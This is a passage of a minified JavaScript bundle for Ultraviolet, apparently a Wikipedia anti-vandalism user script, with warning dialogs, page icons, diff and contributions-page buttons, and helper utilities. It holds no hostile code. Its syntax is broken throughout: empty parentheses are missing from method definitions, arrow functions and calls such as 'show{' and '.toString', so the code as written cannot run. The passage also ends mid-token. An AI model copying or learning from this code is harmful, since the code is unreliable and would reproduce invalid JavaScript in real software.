0!==c?c:(=>(0,o.h)(l.default,{class:"uv-mdc-warnDialog-page--recent",icon:"today",label:h.default.t("ui:warn.reason.recentPageOpenerTooltip").toString,onClick:=>(0,i.__awaiter)(this,void 0,void 0,(function*{const e=yield(new g.default).show;e&&(this.relatedPage=e)}))}))),(=>{var e,t,n,i,a,s,l;let c="object"==typeof(null===(e=this.warning)||void 0===e?void 0:e.additionalText)?null===(t=this.warning.additionalText)||void 0===t?void 0:t.label:null;null==c&&(c=h.default.t("ui:warn.reason.additionalText"));const u=(0,o.h)(p.default,Object.assign({width:"100%",label:c,defaultText:null!==(l=null===(s=null===(a=null===(i=null===(n=this.elementSet)||void 0===n?void 0:n.additionalText)||void 0===i?void 0:i.components)||void 0===a?void 0:a.textField)||void 0===s?void 0:s.value)&&void 0!==l?l:"",autofocus:!0},null!=this.warning?{[(0,r.getWarningFieldVisibility)(this.warning.additionalText)]:!0}:{})),f=(0,p.MaterialTextInputUpgrade)(u);return this.elementSet.additionalText={element:u,components:f},f.textField.listen("focusout",d(u),!0),f.textField.listen("keydown",d(u)),u})),y=document.getElementById(u);null!=y?y.parentElement.replaceChild(this.elementSet.root=f,y):this.elementSet.root=f}render{return this.refresh,this.elementSet.root}}t.MaterialWarnDialogReasonController=y,t.default=function(e){const t=new y(e);return Object.assign(t.render,{MWDReason:t})}},4406:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(5933),o=n(1566),a=(0,i.__importStar)(n(604)),s=(0,i.__importDefault)(n(1261)),l=n(830),c=(0,i.__importDefault)(n(6359)),d=(0,i.__importDefault)(n(4549)),u=n(3663),p=(0,i.__importDefault)(n(4236));class h extends r.UVUIDialog{constructor{super}show{return(0,o.upgradeMaterialDialog)(this,{onClose:e=>(0,i.__awaiter)(this,void 0,void 0,(function*{return"confirm"===e.detail.action?this.page:null}))}).then((e=>e.wait))}render{return this.element=(0,l.h)(a.default,{id:this.id},(0,l.h)(a.MaterialDialogTitle,null,s.default.t("ui:warn.recentPagesDialog.dialogTitle")),(0,l.h)(a.MaterialDialogContent,null,(0,l.h)(d.default,{radios:u.RecentPages.pages.map((e=>({value:e,children:(0,l.h)("span",{style:(0,p.default)({display:"inline-block",padding:"10px 0"})},e)}))),direction:"vertical",onChange:e=>{this.page=e}})),(0,l.h)(a.MaterialDialogActions,null,(0,l.h)(c.default,{dialogAction:"cancel"},s.default.t("ui:cancel")),(0,l.h)(c.default,{dialogAction:"confirm",raised:!0},s.default.t("ui:confirm"))))}}t.default=h},9770:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialWarnDialogUserController=t.MaterialWarnDialogUser=void 0;const i=n(655),r=n(4802),o=n(2775),a=(0,i.__importDefault)(n(9549)),s=(0,i.__importDefault)(n(1261)),l=n(830),c=(0,i.__importDefault)(n(8939));class d extends o.MaterialUserSelect{constructor(e){super(e),this.props=e}onPreUserChange(e){this.props.warnDialog.user=e,this.props.warnDialog.updatePreview}onUserChange(e){var t;return(0,i.__awaiter)(this,void 0,void 0,(function*{if(e instanceof r.UserAccount){const n=e.groups.groupMatch(null!==(t=c.default.c.warnings.restrictedGroups)&&void 0!==t?t:[]);if(null==n)return;if("proceed"!==(yield new a.default({title:s.default.t("ui:warn.risky.title"),content:(0,l.h)("div",{class:"uv-mdc-riskyWarning"},(0,l.h)("b",null,s.default.t("ui:warn.risky.content",{group:n.displayName}))),actions:[{data:"cancel"},{data:"proceed"}]}).show))return void(yield this.clearUser(this.lastUser))}}))}onPostUserChange(e){null!=e.warningAnalysis&&(this.props.warnDialog.mwdReason.MWDReason.defaultLevel=e.warningAnalysis.level>3?4:e.warningAnalysis.level+1),this.props.warnDialog.uiValidate}}t.MaterialWarnDialogUser=d,t.MaterialWarnDialogUserController=d,t.default=function(e){const t=new d(e);return Object.assign(t.render,{MWDUser:t})}},4972:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=(0,i.__importDefault)(n(323)),o=n(4802),a=(0,i.__importDefault)(n(7007)),s=n(830);t.default=function(e){const{warning:t,id:n}=e;return(0,s.h)("div",{class:"uv-mdc-warnSearchDialog-warning mdc-card mdc-card--outlined","data-uv-warning":n},(0,s.h)("table",null,(0,s.h)("tr",null,(0,s.h)("td",{style:"width: 100%"},(0,s.h)("div",{class:"uv-mdc-cardTitle"},t.name)),(0,s.h)("td",{rowSpan:4},(0,s.h)(r.default,{icon:(=>{switch(t.type){case o.WarningType.Tiered:return"signal_cellular_alt";case o.WarningType.SingleIssue:return"info";case o.WarningType.PolicyViolation:return"new_releases"}}),ripple:!1}))),(0,s.h)("tr",null,(0,s.h)("td",{style:"width: 100%"},(0,s.h)("div",{class:"uv-mdc-cardSubtitle"},(0,s.h)("a",{href:a.default.articlePath(`Template:${t.template}${t.type===o.WarningType.Tiered?5===t.levels[0]?"4im":t.levels[0]:""}`),target:"_blank"},"")))),(0,s.h)("tr",null,(0,s.h)("td",null,(0,s.h)("div",{class:"uv-mdc-cardSubtitle"},t.type===o.WarningType.Tiered&&`Available levels: ${t.levels.map((e=>`${o.WarningLevel[e]} (${e===o.WarningLevel.Immediate?"4im":e})`)).join(", ")}`,t.type===o.WarningType.SingleIssue&&"Single-issue warning",t.type===o.WarningType.PolicyViolation&&"Policy violation warning")))))}},5337:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(...e){const t=[];for(const n of e)Array.isArray(n)?t.push(...n):t.push(n);return t.filter((e=>null!=e&&0!=e)).join(" ")}},1493:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return Object.entries(e).filter((([e])=>e.startsWith("data-"))).reduce(((e,t)=>(e[t[0]]=t[1],e)),{})}},3408:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=(0,n(655).__importDefault)(n(9158)),r=n(8910),o=n(3551);t.default=function(e,t={}){const n=Object.assign({src:(0,r.url)(e.url,{safemode:t.safeMode?"true":"false",redirect:!1===t.redirect?"no":"yes"}),width:"calc(100vw - 176px)",height:"90vh"},t);return n.customStyle?Array.isArray(n.customStyle)?n.customStyle.push(o):n.customStyle=[n.customStyle,o]:n.customStyle=o,new i.default.IFrameDialog(n).show}},4236:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){if(null===e)return null;if(void 0===e)return;const t={};for(const[n,i]of Object.entries(e)){if(null==i)continue;t[n.split(/(?=[A-Z])/).map((e=>e.toLowerCase)).join("-")]=i}let n="";for(const[e,i]of Object.entries(t))n+=`${e}:${i};`;return n}},6921:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(830),o=(0,i.__importDefault)(n(1261)),a=n(4802),s=(0,i.__importDefault)(n(9158)),l=n(9052);class c{static get x{return c.enable+8===Math.pow(3,2)+1}static init{if(c.enable)return c.r=1,a.ClientUser.i.inGroup("https://www.youtube.com/watch?v=dQw4w9WgXcQ")||c.x||l.Configuration.Core.neopolitan.value?c.exec:void 0}static exec{return(0,i.__awaiter)(this,void 0,void 0,(function*{const e=[(0,r.h)("span",null)];e[0].innerHTML=o.default.t("ui:tamperProtection.warningContent");const t=new s.default.AlertDialog({actions:[],content:e,title:o.default.t("ui:tamperProtection.header")});yield t.show,l.Configuration.Core.neopolitan.value="I turn my head up to the sky, I focus one thought at a time.",l.Configuration.save}))}}t.default=c,c.enable=1,c.r=0},2458:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(830);t.default=e=>{const t=(0,i.h)("span",null);return t.innerHTML=e,t}},9158:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.UVUIElements=void 0;const i=(0,n(655).__importDefault)(n(3848)),r=n(2905),o=n(4989),a=n(6626),s=n(2273),l=n(6884),c=n(5132),d=n(3844),u=n(2137),p=n(8382),h=n(3384),f=n(2233),g=n(227),m=n(2148),v=n(217);t.default=class{static get AlertDialog{return i.default.activeStyle.classMap.uvAlertDialog}static get InputDialog{return i.default.activeStyle.classMap.uvInputDialog}static get SelectionDialog{return i.default.activeStyle.classMap.uvSelectionDialog}static get WarnDialog{return i.default.activeStyle.classMap.uvWarnDialog}static get ProtectionRequestDialog{return i.default.activeStyle.classMap.uvProtectionRequestDialog}static get IFrameDialog{return i.default.activeStyle.classMap.uvIFrameDialog}static get Toast{return i.default.activeStyle.classMap.uvToast}static get DiffIcons{return i.default.activeStyle.classMap.uvDiffIcons}static get PageIcons{return i.default.activeStyle.classMap.uvPageIcons}static get ExtendedOptions{return i.default.activeStyle.classMap.uvExtendedOptions}static get ReportingDialog{return i.default.activeStyle.classMap.uvReportingDialog}static get Preferences{return i.default.activeStyle.classMap.uvPreferences}static get PreferencesTab{return i.default.activeStyle.classMap.uvPreferencesTab}static get PreferencesItem{return i.default.activeStyle.classMap.uvPreferencesItem}},t.UVUIElements={[s.UVUIAlertDialog.elementName]:s.UVUIAlertDialog,[l.UVUIInputDialog.elementName]:l.UVUIInputDialog,[c.UVUISelectionDialog.elementName]:c.UVUISelectionDialog,[u.UVUIWarnDialog.elementName]:u.UVUIWarnDialog,[h.UVUIProtectionRequestDialog.elementName]:h.UVUIProtectionRequestDialog,[d.UVUIIFrameDialog.elementName]:d.UVUIIFrameDialog,[r.UVUIToast.elementName]:r.UVUIToast,[o.UVUIDiffIcons.elementName]:o.UVUIDiffIcons,[a.UVUIPageIcons.elementName]:a.UVUIPageIcons,[p.UVUIExtendedOptions.elementName]:p.UVUIExtendedOptions,[f.UVUIReportingDialog.elementName]:f.UVUIReportingDialog,[v.UVUIPreferences.elementName]:v.UVUIPreferences,[g.UVUIPreferencesTab.elementName]:g.UVUIPreferencesTab,[m.UVUIPreferencesItem.elementName]:m.UVUIPreferencesItem}},4250:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.PageIcons=void 0;const i=n(655),r=(0,i.__importDefault)(n(7007)),o=(0,i.__importDefault)(n(1261)),a=(0,i.__importDefault)(n(9158)),s=n(4802),l=n(8910),c=(0,i.__importDefault)(n(8939)),d=(0,i.__importDefault)(n(5504)),u=n(8686);t.PageIcons==>{if(!s.ClientUser.i.inGroup("confirmed"))return[{id:"missingGroup",name:o.default.t("ui:missingGroup.label"),icon:"new_releases",color:"red",default:!0,visible:=>!0,action{new a.default.AlertDialog({title:o.default.t("ui:missingGroup.label"),content:o.default.t("ui:missingGroup.description",{group:(0,s.groupFromName)("confirmed").displayName}),actions:[{data:o.default.t("ui:ok")}]}).show}}];const e=[{id:"protection",icon:"lock",default:!0,visible:=>{var e,t,n,i;return!r.default.isSpecialPage&&null!=(null===(t=null===(e=c.default.c.protection)||void 0===e?void 0:e.duration)||void 0===t?void 0:t.temporary)&&null!=(null===(i=null===(n=c.default.c.protection)||void 0===n?void 0:n.duration)||void 0===i?void 0:i.indefinite)},action{return(0,i.__awaiter)(this,void 0,void 0,(function*{const e=yield(new a.default.ProtectionRequestDialog).show;s.ProtectionManager.requestProtection(e).then((e=>{e&&a.default.Toast.quickShow({content:o.default.t("ui:toasts.protectionRequested"),action:{text:o.default.t("ui:toasts.viewAction"),callback:=>{e.navigate}}})})).catch((e=>{a.default.Toast.quickShow({content:o.default.t("ui:toasts.protectionRequestFailed")}),d.default.error(e)}))}))}},{id:"alertOnChange",icon:"notification_important",default:!0,color:"var(--uv-icon-alertonchange-color, black)",visible:=>!r.default.isSpecialPage,action{s.Watch.toggle}},{id:"latestRevision",icon:"watch_later",default:!0,visible:=>!r.default.isSpecialPage,action{r.default.currentPage.navigateToLatestRevision}}],t=[{id:"vandalismStatistics",icon:"auto_graph",visible:=>!0,action{new a.default.IFrameDialog({src:"https://redwarn.toolforge.org/tools/rpm/",width:"90vw"}).show}}],n=[{id:"preferences",icon:"settings",visible:=>!0,action{s.Page.fromTitle("Project:Ultraviolet/Preferences").navigate(!0)}},{id:"uvTalk",icon:"question_answer",visible:=>!0,action{(0,l.redirect)("https://w.wiki/54M7",!0)}},{id:"copyLog",icon:"content_copy",visible:=>!0,action{(0,l.copyToClipboard)(btoa(JSON.stringify(d.default.dump))).then((e=>{e?a.default.Toast.quickShow({content:o.default.t("ui:toasts.logCopied")}):a.default.Toast.quickShow({content:o.default.t("ui:toasts.copyFail")})}))}}];return[...[{id:"message",icon:"send",default:!0,visible:r.default.isUserspacePage,action{s.User.relevantUser.openMessageDialog}},{id:"quickTemplate",icon:"library_add",default:!0,visible:r.default.isUserspacePage,action{a.default.Toast.quickShow({content:o.default.t("ui:unfinished")})}},{id:"warn",icon:"report",default:!0,visible:=>r.default.isUserspacePage&&null!=c.default.c.warnings,action{return(0,i.__awaiter)(this,void 0,void 0,(function*{const e=yield new a.default.WarnDialog({targetUser:mw.config.get("wgRelevantUserName")&&s.User.fromUsername(mw.config.get("wgRelevantUserName"))}).show;s.User.warn(e).then((t=>{t&&a.default.Toast.quickShow({content:o.default.t("ui:toasts.userWarned"),action:{text:o.default.t("ui:toasts.userWarnedAction"),callback:=>{e.targetUser.talkPage.navigate}}})})).catch((e=>{a.default.Toast.quickShow({content:o.default.t("ui:toasts.userWarnFailed")}),d.default.error("Failed to warn user.",e)}))}))}}],...(0,u.getReportVenueIcons),...e,...t,...n,{id:"moreOptions",icon:"more_vert",default:!0,required:!0,visible:=>!0,action{(new a.default.ExtendedOptions).show}}]},t.default=t.PageIcons},2273:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.UVUIAlertDialog=void 0;const i=n(5933);class r extends i.UVUIDialog{constructor(e){super(e),this.props=e}show{throw new Error("Attempted to call abstract method")}render{throw new Error("Attempted to call abstract method")}}t.UVUIAlertDialog=r,r.elementName="uvAlertDialog"},5933:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.UVUIDialog=t.UVUIDialogActionType=void 0;const i=n(655),r=(0,i.__importDefault)(n(9334)),o=(0,i.__importDefault)(n(4873));!function(e){e[e.Finish=0]="Finish",e[e.Close=1]="Close",e[e.Execute=2]="Execute"}(t.UVUIDialogActionType||(t.UVUIDialogActionType={}));class a extends o.default{constructor(e={}){var t;super,this.props=e,this.id=`dialog__${null!==(t=e.id)&&void 0!==t?t:(0,r.default)(16)}`,this.props=e}}t.UVUIDialog=a},4989:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.UVUIDiffIcons=void 0;const i=(0,n(655).__importDefault)(n(4873));class r extends i.default{constructor(e){super,Object.assign(e,this)}get isLatestIcons{return this.latestRevision.revisionID===("new"===this.side?this.newRevision.revisionID:this.oldRevision.revisionID)}render{}onStartRevert(e){}onRevertStageChange(e){}onEndRevert(e=!1){}onRevertFailure(e){}onStartRestore(e){}onRestoreStageChange(e){}onEndRestore(e){}onRestoreFailure(e){}}t.UVUIDiffIcons=r,r.elementName="uvDiffIcons"},4873:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.default=class{}},8382:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.UVUIExtendedOptions=void 0;const i=n(5933);class r extends i.UVUIDialog{constructor(e={}){super(e),this.props=e}show{throw new Error("Attempted to call abstract method")}render{throw new Error("Attempted to call abstract method")}}t.UVUIExtendedOptions=r,r.elementName="uvExtendedOptions"},3844:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.UVUIIFrameDialog=void 0;const i=n(5933);class r extends i.UVUIDialog{constructor(e){super(e),this.props=e}show{throw new Error("Attempted to call abstract method")}render{throw new Error("Attempted to call abstract method")}}t.UVUIIFrameDialog=r,r.elementName="uvIFrameDialog"},6884:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.UVUIInputDialog=void 0;const i=n(5933);class r extends i.UVUIDialog{constructor(e){super(e),this.props=e}show{throw new Error("Attempted to call abstract method")}render{throw new Error("Attempted to call abstract method")}}t.UVUIInputDialog=r,r.elementName="uvInputDialog"},6626:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.UVUIPageIcons=void 0;const i=(0,n(655).__importDefault)(n(4873));class r extends i.default{render{}}t.UVUIPageIcons=r,r.elementName="uvPageIcons"},217:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.UVUIPreferences=void 0;const i=(0,n(655).__importDefault)(n(4873));class r extends i.default{constructor(e){super,this.props=e}render{throw new Error("Attempted to call abstract method")}}t.UVUIPreferences=r,r.elementName="uvPreferences"},2148:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.UVUIPreferencesItem=void 0;const i=(0,n(655).__importDefault)(n(4873));class r extends i.default{constructor(e){super,this.props=e,this.props=e}render{throw new Error("Attempted to call abstract method")}}t.UVUIPreferencesItem=r,r.elementName="uvPreferencesItem"},227:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.UVUIPreferencesTab=void 0;const i=(0,n(655).__importDefault)(n(4873));class r extends i.default{constructor(e){super,this.props=e}render{throw new Error("Attempted to call abstract method")}renderTabBarItem{throw new Error("Attempted to call abstract method")}activate{throw new Error("Attempted to call abstract method")}}t.UVUIPreferencesTab=r,r.elementName="uvPreferencesTab"},3384:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.UVUIProtectionRequestDialog=void 0;const i=n(5933);class r extends i.UVUIDialog{constructor(e={}){super(e),this.props=e}show{throw new Error("Attempted to call abstract method")}render{throw new Error("Attempted to call abstract method")}}t.UVUIProtectionRequestDialog=r,r.elementName="uvProtectionRequestDialog"},2233:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.UVUIReportingDialog=void 0;const i=n(5933);class r extends i.UVUIDialog{constructor(e){super(e),this.props=e}show{throw new Error("Attempted to call abstract method")}render{throw new Error("Attempted to call abstract method")}}t.UVUIReportingDialog=r,r.elementName="uvReportingDialog"},5132:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.UVUISelectionDialog=void 0;const i=n(5933);class r extends i.UVUIDialog{constructor(e){super(e),this.props=e}show{throw new Error("Attempted to call abstract method")}render{throw new Error("Attempted to call abstract method")}}t.UVUISelectionDialog=r,r.elementName="uvSelectionDialog"},2905:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.UVUIToast=t.UVUIToastStyle=void 0;const i=n(655),r=(0,i.__importDefault)(n(9334)),o=(0,i.__importDefault)(n(4873)),a=(0,i.__importDefault)(n(9158));var s;!function(e){e[e.Normal=0]="Normal",e[e.Leading=1]="Leading",e[e.Stacked=2]="Stacked"}(s=t.UVUIToastStyle||(t.UVUIToastStyle={}));class l extends o.default{constructor(e){var t,n;super,this.props=e,this.id=`toast__${e.id||(0,r.default)(16)}`,null!==(t=(n=this.props).style)&&void 0!==t||(n.style=s.Normal)}static quickShow(e){return new a.default.Toast(e).show}show{throw new Error("Attempted to call abstract method")}render{throw new Error("Attempted to call abstract method")}}t.UVUIToast=l,l.elementName="uvToast"},2137:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.UVUIWarnDialog=void 0;const i=n(5933);class r extends i.UVUIDialog{constructor(e){super(e),this.props=e}show{throw new Error("Attempted to call abstract method")}render{throw new Error("Attempted to call abstract method")}}t.UVUIWarnDialog=r,r.elementName="uvWarnDialog"},3113:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(830),o=(0,i.__importDefault)(n(1261)),a=n(4802),s=(0,i.__importDefault)(n(8939)),l=(0,i.__importDefault)(n(5504)),c=(0,i.__importDefault)(n(268));t.default=class{init{return(0,i.__awaiter)(this,void 0,void 0,(function*{mw.config.get("wgPageName").startsWith("Special:Contributions")&&this.display}))}display{l.default.info("Loading contributions page buttons..."),document.querySelectorAll(".mw-contributions-list > li.mw-contributions-current[data-mw-revid]").forEach((e=>{const t=a.Revision.fromID(+e.getAttribute("data-mw-revid")),n={newRevision:t,latestRevision:t},l=(0,r.h)("a",{style:"color: green; cursor: pointer;",onClick:=>a.Revert.preview(n),"data-uv-tooltip":o.default.t("ui:contribs.previewTooltip")},o.default.t("ui:contribs.previewLink")),c=(0,r.h)("a",{style:"color: red; cursor: pointer;",onClick:=>a.Revert.revert(Object.assign(n,{prefilledReason:s.default.c.warnings.vandalismWarning.name})),"data-uv-tooltip":o.default.t("ui:contribs.vandalTooltip")},o.default.t("ui:contribs.vandalLink")),d=(0,r.h)("a",{style:"color: blue; cursor: pointer;",onClick:=>(0,i.__awaiter)(this,void 0,void 0,(function*{a.Revert.revert(Object.assign(n,{prefilledReason:yield a.Revert.promptRevertReason("",n)}))})),"data-uv-tooltip":o.default.t("ui:contribs.rollbackTooltip")},o.default.t("ui:contribs.rollbackLink")),u=(0,r.h)("span",{class:"uv-cpi",style:"cursor: default; font-family: Roboto; font-weight: 400;"}," ",l," ",c," ",d);e.querySelector(".mw-uctop").appendChild(u)})),c.default.addHook("deinit",(=>{document.querySelectorAll(".uv-cpi").forEach((e=>e.remove))}))}}},3161:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(4802),o=n(830),a=(0,i.__importDefault)(n(5504)),s=(0,i.__importDefault)(n(9158)),l=(0,i.__importDefault)(n(268));t.default=class{constructor{this.diffIcons={}}get oldDiffIcons{return this.diffIcons.old}get newDiffIcons{return this.diffIcons.new}get latestDiffIcons{return Object.values(this.diffIcons).find((e=>e.isLatestIcons))}init{return(0,i.__awaiter)(this,void 0,void 0,(function*{r.Revert.isDiffPage&&(a.default.debug("Diff page detected!"),yield this.loadOptions(yield this.getContext))}))}getContext(e){var t,n,o,a;return(0,i.__awaiter)(this,void 0,void 0,(function*{const i=mw.config.get("wgDiffNewId"),s=mw.config.get("wgDiffOldId"),l=null!==(n=null===(t=null==e?void 0:e.baseContext)||void 0===t?void 0:t.newRevision)&&void 0!==n?n:r.Revision.fromID(i,{page:r.Page.fromTitle(mw.config.get("wgRelevantPageName"))});return l.isPopulated||(yield l.populate),{newRevision:l,oldRevision:!1!==s?null!==(a=null===(o=null==e?void 0:e.baseContext)||void 0===o?void 0:o.oldRevision)&&void 0!==a?a:r.Revision.fromID(s,{page:r.Page.fromTitle(mw.config.get("wgRelevantPageName"))}):void 0,latestRevision:r.Revision.fromID(+mw.config.get("wgCurRevisionId"))}}))}loadOptions(e,t=!0){t&&!mw.config.get("wgIsProbablyEditable")||document.querySelectorAll(".diff-ntitle, .diff-otitle").forEach((t=>{const n=t.classList.contains("diff-ntitle")?"new":"old";this.diffIcons[n]=new s.default.DiffIcons(Object.assign(Object.assign({},e),{side:n}));const i=(0,o.h)("div",{class:"uvDiffIcons"},this.diffIcons[n].render);l.default.addHook("deinit",(=>{var e;null===(e=i.parentElement)||void 0===e||e.removeChild(i)}));const r=t.querySelector('[id^="tw-revert"]');r?r.after(i):t.firstElementChild.prepend(i)}))}}},8560:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(830),o=(0,i.__importDefault)(n(9158));n(3377);const a=(0,i.__importDefault)(n(5337)),s=(0,i.__importDefault)(n(268));t.default=class{init{var e;return(0,i.__awaiter)(this,void 0,void 0,(function*{const t=document.getElementById("firstHeading"),n=new o.default.PageIcons,i=(0,r.h)("div",{id:"uvPageIcons",class:(0,a.default)(null==t.offsetParent&&"uv-firstHeading--hidden")},n.render);(null!==(e=document.querySelector(".mw-indicators"))&&void 0!==e?e:t).insertAdjacentElement("beforebegin",i),s.default.addHook("deinit",(=>{var e;null===(e=i.parentElement)||void 0===e||e.removeChild(i)}))}))}}},1016:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=(0,i.__importDefault)(n(9158)),o=(0,i.__importDefault)(n(7007)),a=(0,i.__importDefault)(n(268));t.default=class{init{return(0,i.__awaiter)(this,void 0,void 0,(function*{if(4===o.default.currentPage.title.namespace&&/^(RedWarn|Ultraviolet)\/Preferences$/.test(o.default.currentPage.title.title)&&"view"===mw.config.get("wgAction")){const e=new r.default.Preferences({excludeTabs:["core"]}).render,t=document.querySelector("#mw-content-text");if(!t)throw"Could not find mw-content-text";t.innerHTML="";const n=t.getAttribute("id"),i=t.getAttribute("class");t.removeAttribute("id"),t.removeAttribute("class"),t.appendChild(e),a.default.addHook("deinit",(=>{var r;null===(r=e.parentElement)||void 0===r||r.removeChild(e),t.setAttribute("id",n),t.setAttribute("class",i)}))}}))}}},2548:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=(0,n(655).__importDefault)(n(268));t.default=class{init{document.querySelectorAll(".uv-show").forEach((e=>e.style.setProperty("display","unset","important"))),document.querySelectorAll(".uv-hide").forEach((e=>e.style.display="none")),i.default.addHook("deinit",(=>{document.querySelectorAll(".uv-show").forEach((e=>e.style.removeProperty("display"))),document.querySelectorAll(".uv-hide").forEach((e=>e.style.removeProperty("display")))}))}}},5147:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=(0,i.__importDefault)(n(3161)),o=(0,i.__importDefault)(n(3113)),a=(0,i.__importDefault)(n(8560)),s=(0,i.__importDefault)(n(1016)),l=n(4802),c=(0,i.__importDefault)(n(2548));class d{constructor{this.pageIconsInjector=new a.default,this.renderedVisualsInjetor=new c.default,this.diffViewerInjector=new r.default,this.contributionsPageInjector=new o.default,this.preferencesInjector=new s.default}static get i{return d.instance}inject{return(0,i.__awaiter)(this,void 0,void 0,(function*{const e=[this.pageIconsInjector.init,this.renderedVisualsInjetor.init];return l.ClientUser.i.inGroup("confirmed")&&e.push(this.diffViewerInjector.init,this.contributionsPageInjector.init,this.preferencesInjector.init),Promise.all(e)}))}}t.default=d,d.instance=new d},1584:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return e.charAt(0).toUpperCase+e.slice(1)}},7085:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=(0,i.__importDefault)(n(5504));t.default=function(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{const t=[=>(0,i.__awaiter)(this,void 0,void 0,(function*{return navigator.clipboard.writeText(e)})),=>(0,i.__awaiter)(this,void 0,void 0,(function*{const t=document.createElement("textarea");t.value=e,t.style.position="fixed",t.style.left="-100vw",t.style.top="-100vh",document.body.appendChild(t),t.select,document.execCommand("copy"),document.body.removeChild(t)}))];for(const e of t)try{yield e}catch(n){if(t[t.length-1]!==e)continue;return r.default.error("Could not copy to clipboard.",{e:n}),!1}return!0}))}},9657:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=(0,n(655).__importDefault)(n(1261));t.default=function(e){const t=i.default.t("misc:ageFormat"),n=Date.now-e.getTime,r=Math.floor(n/315576e5),o=Math.floor(n/26298e5),a=Math.floor(n/864e5),s=Math.floor(n/36e5),l=Math.floor(n/6e4),c=Math.floor(n/1e3);let d;return d=c<=44?t.s:c<=89?t.m:l<=44?t.mm.replace("%d",l.toString):l<=89?t.h:s<=21?t.hh.replace("%d",s.toString):s<=35?t.d:a<=25?t.dd.replace("%d",a.toString):a<=45?t.M:a<=319?t.MM.replace("%d",o.toString):a<=547?t.y:t.yy.replace("%d",r.toString),t.past.replace("%s",d)}},4956:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function{const e=new WeakSet;return(t,n)=>{if("object"==typeof n&&null!==n){if(e.has(n))return;e.add(n)}return n}}},6237:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e=new Date){return`${mw.language.months.genitive[e.getMonth]} ${e.getFullYear}`}},8910:function(e,t,n){"use strict";var i=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:!0}),t.getCircularReplacer=t.copyToClipboard=t.url=t.sleep=t.semanticDifference=t.regexEscape=t.regexClone=t.redirect=t.normalize=t.isIPAddress=t.isEmptyObject=t.getMonthHeader=t.generateId=t.formatAge=t.capitalize=void 0;var r=n(1584);Object.defineProperty(t,"capitalize",{enumerable:!0,get:function{return i(r).default}});var o=n(9657);Object.defineProperty(t,"formatAge",{enumerable:!0,get:function{return i(o).default}});var a=n(9334);Object.defineProperty(t,"generateId",{enumerable:!0,get:function{return i(a).default}});var s=n(6237);Object.defineProperty(t,"getMonthHeader",{enumerable:!0,get:function{return i(s).default}});var l=n(4704);Object.defineProperty(t,"isEmptyObject",{enumerable:!0,get:function{return i(l).default}});var c=n(3261);Object.defineProperty(t,"isIPAddress",{enumerable:!0,get:function{return i(c).default}});var d=n(4139);Object.defineProperty(t,"normalize",{enumerable:!0,get:function{return i(d).default}});var u=n(3410);Object.defineProperty(t,"redirect",{enumerable:!0,get:function{return i(u).default}});var p=n(705);Object.defineProperty(t,"regexClone",{enumerable:!0,get:function{return i(p).default}});var h=n(576);Object.defineProperty(t,"regexEscape",{enumerable:!0,get:function{return i(h).default}});var f=n(7327);Object.defineProperty(t,"semanticDifference",{enumerable:!0,get:function{return i(f).default}});var g=n(9124);Object.defineProperty(t,"sleep",{enumerable:!0,get:function{return i(g).default}});var m=n(9618);Object.defineProperty(t,"url",{enumerable:!0,get:function{return i(m).default}});var v=n(7085);Object.defineProperty(t,"copyToClipboard",{enumerable:!0,get:function{return i(v).default}});var A=n(4956);Object.defineProperty(t,"getCircularReplacer",{enumerable:!0,get:function{return i(A).default}})},4704:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){for(const t in e)return!1;return!0}},3261:(e,t)=>{"use 